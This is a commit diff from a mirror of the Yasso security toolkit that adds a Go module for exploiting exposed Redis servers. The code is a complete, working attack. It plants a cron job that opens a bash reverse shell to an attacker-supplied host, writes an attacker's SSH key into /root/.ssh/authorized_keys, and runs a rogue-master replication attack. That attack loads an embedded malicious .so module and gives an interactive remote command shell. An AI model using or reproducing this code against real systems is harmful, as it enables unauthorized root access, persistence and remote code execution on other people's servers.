mirror of
https://github.com/sairson/Yasso.git
synced 2026-06-16 15:18:12 +08:00
Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等
This commit is contained in:
499
pkg/exploit/redis/redis.go
Normal file
499
pkg/exploit/redis/redis.go
Normal file
@@ -0,0 +1,499 @@
|
||||
package redis
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"bufio"
|
||||
"context"
|
||||
_ "embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/go-redis/redis/v8"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/exp.so
|
||||
var payload []byte
|
||||
|
||||
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
|
||||
var conn net.Conn
|
||||
var err error
|
||||
var status bool
|
||||
switch method {
|
||||
case 1: // redis写定时计划
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, exploits.User, exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisCron(conn, rebound)
|
||||
case 2: // redis 写key
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisKey(conn, filename)
|
||||
case 3:
|
||||
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
|
||||
var lhost string
|
||||
var lport int
|
||||
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
|
||||
lhost = strings.Split(Listen, ":")[0]
|
||||
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
|
||||
}
|
||||
soWrite(client, lhost, lport, soPath)
|
||||
default:
|
||||
logger.Fatal("not found redis exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func test(conn net.Conn) (cron bool, ssh bool, err error) {
|
||||
var reply string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
ssh = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
cron = true
|
||||
}
|
||||
return cron, ssh, nil
|
||||
}
|
||||
|
||||
func redisCron(conn net.Conn, ReboundAddress string) bool {
|
||||
c, _, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if c {
|
||||
status, err := cronWrite(conn, ReboundAddress)
|
||||
if err != nil {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write rebound shell address success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func redisKey(conn net.Conn, filename string) bool {
|
||||
_, k, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if k {
|
||||
status, err := keyWrite(conn, filename)
|
||||
if err != nil {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write public key into /root/.ssh/ success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
|
||||
var (
|
||||
remote = strings.Split(ReboundAddress, ":")
|
||||
flag = false
|
||||
reply string
|
||||
host string
|
||||
port string
|
||||
)
|
||||
if len(remote) == 2 {
|
||||
host, port = remote[0], remote[1]
|
||||
} else {
|
||||
return false, errors.New("remote host address is not like 192.160.1.1:4444")
|
||||
}
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
|
||||
// 存在定时计划写入
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
// 数据库设置成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
// 写入定时计划任务
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("save corn success")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func keyWrite(conn net.Conn, filename string) (bool, error) {
|
||||
var flag = false
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
key, err := readKeyFile(filename)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
// 保存
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("Restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func readKeyFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
|
||||
// 设置so文件存放路径
|
||||
var dest string
|
||||
if soPath == "" {
|
||||
dest = "/tmp/net.so"
|
||||
} else {
|
||||
dest = soPath
|
||||
}
|
||||
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
|
||||
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
|
||||
dbfilename, dir := getInformation(client)
|
||||
filenameDir, filename := filepath.Split(dest)
|
||||
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
|
||||
// 做监听
|
||||
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
|
||||
// 重置数据库
|
||||
reStore(client, dir, dbfilename)
|
||||
// 加载so文件
|
||||
s := rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
if s == "need unload" {
|
||||
logger.Info("try to unload")
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("to the load")
|
||||
rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
}
|
||||
logger.Info("module load success")
|
||||
// 循环执行命令
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
var cmd string
|
||||
fmt.Printf("[redis-rce]» ")
|
||||
cmd, _ = reader.ReadString('\n')
|
||||
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
|
||||
if cmd == "exit" {
|
||||
cmd = fmt.Sprintf("rm %v", dest)
|
||||
run(fmt.Sprintf(cmd), client)
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("module unload system break redis-rce")
|
||||
break
|
||||
}
|
||||
receive(run(fmt.Sprintf(cmd), client))
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func initRedisClient(host string, port int, pass string) *redis.Client {
|
||||
rdb := redis.NewClient(&redis.Options{
|
||||
Addr: fmt.Sprintf("%v:%v", host, port),
|
||||
Password: pass, // no password set
|
||||
DB: 0, // use default DB
|
||||
})
|
||||
return rdb
|
||||
}
|
||||
|
||||
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
|
||||
defer wg.Done()
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
time.Sleep(1 * time.Second)
|
||||
n, err := c.Read(buf)
|
||||
if err == io.EOF || n == 0 {
|
||||
logger.Info("master-slave replication process is complete")
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(string(buf[:n]), "PING"):
|
||||
_, _ = c.Write([]byte("+PONG\r\n"))
|
||||
//Send("+PONG")
|
||||
case strings.Contains(string(buf[:n]), "REPLCONF"):
|
||||
_, _ = c.Write([]byte("+OK\r\n"))
|
||||
//Send("+OK")
|
||||
case strings.Contains(string(buf[:n]), "SYNC"):
|
||||
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
|
||||
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
|
||||
rep := []byte(resp)
|
||||
rep = append(rep, payload...)
|
||||
rep = append(rep, []byte("\r\n")...)
|
||||
_, _ = c.Write(rep)
|
||||
//Send(resp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func rexec(cmd string, client *redis.Client) string {
|
||||
args := strings.Fields(cmd)
|
||||
var argsInterface []interface{}
|
||||
for _, arg := range args {
|
||||
argsInterface = append(argsInterface, arg)
|
||||
}
|
||||
//Send(cmd)
|
||||
val, err := client.Do(context.Background(), argsInterface...).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func check(val interface{}, err error) string {
|
||||
if err != nil {
|
||||
if err == redis.Nil {
|
||||
logger.Fatal("key is not exist")
|
||||
return ""
|
||||
}
|
||||
logger.Fatal(fmt.Sprintf("%v", err.Error()))
|
||||
if err.Error() == "error loading the extension. Please check the server logs." {
|
||||
return "need unload"
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
switch v := val.(type) {
|
||||
case string:
|
||||
return v
|
||||
case []string:
|
||||
return "list result:" + strings.Join(v, " ")
|
||||
case []interface{}:
|
||||
s := ""
|
||||
for _, i := range v {
|
||||
s += i.(string) + " "
|
||||
}
|
||||
return s
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func run(cmd string, client *redis.Client) string {
|
||||
ctx := context.Background()
|
||||
val, err := client.Do(ctx, "system.exec", cmd).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func receive(str string) {
|
||||
str = strings.TrimSpace(str)
|
||||
fmt.Println(fmt.Sprintf("%v", str))
|
||||
}
|
||||
|
||||
func getInformation(client *redis.Client) (string, string) {
|
||||
r := rexec("config get dbfilename", client)
|
||||
if !strings.HasPrefix(r, "dbfilename") {
|
||||
return "", ""
|
||||
}
|
||||
dbfilename := r[11 : len(r)-1]
|
||||
d := rexec("config get dir", client)
|
||||
if !strings.HasPrefix(d, "dir") {
|
||||
return "", ""
|
||||
}
|
||||
dir := d[4 : len(d)-1]
|
||||
return dbfilename, dir
|
||||
}
|
||||
|
||||
func listenLocal(address string) {
|
||||
var wg = &sync.WaitGroup{}
|
||||
wg.Add(1)
|
||||
addr, err := net.ResolveTCPAddr("tcp", address)
|
||||
if err != nil {
|
||||
logger.Fatal("resolve tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
listen, err := net.ListenTCP("tcp", addr)
|
||||
if err != nil {
|
||||
logger.Fatal("listen tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
defer func(listen *net.TCPListener) {
|
||||
err := listen.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}(listen)
|
||||
logger.Info(fmt.Sprintf("start listen in %v", address))
|
||||
c, err := listen.AcceptTCP()
|
||||
if err != nil {
|
||||
logger.Fatal("accept tcp failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
go masterSlave(wg, c)
|
||||
wg.Wait()
|
||||
_ = c.Close()
|
||||
}
|
||||
|
||||
func reStore(client *redis.Client, dir, dbfilename string) {
|
||||
success := rexec("slaveof no one", client)
|
||||
if strings.Contains(success, "OK") {
|
||||
logger.Info("restore file success")
|
||||
}
|
||||
rexec(fmt.Sprintf("config set dir %v", dir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
|
||||
}
|
||||
BIN
pkg/exploit/redis/static/exp.so
Normal file
BIN
pkg/exploit/redis/static/exp.so
Normal file
Binary file not shown.
Reference in New Issue
Block a user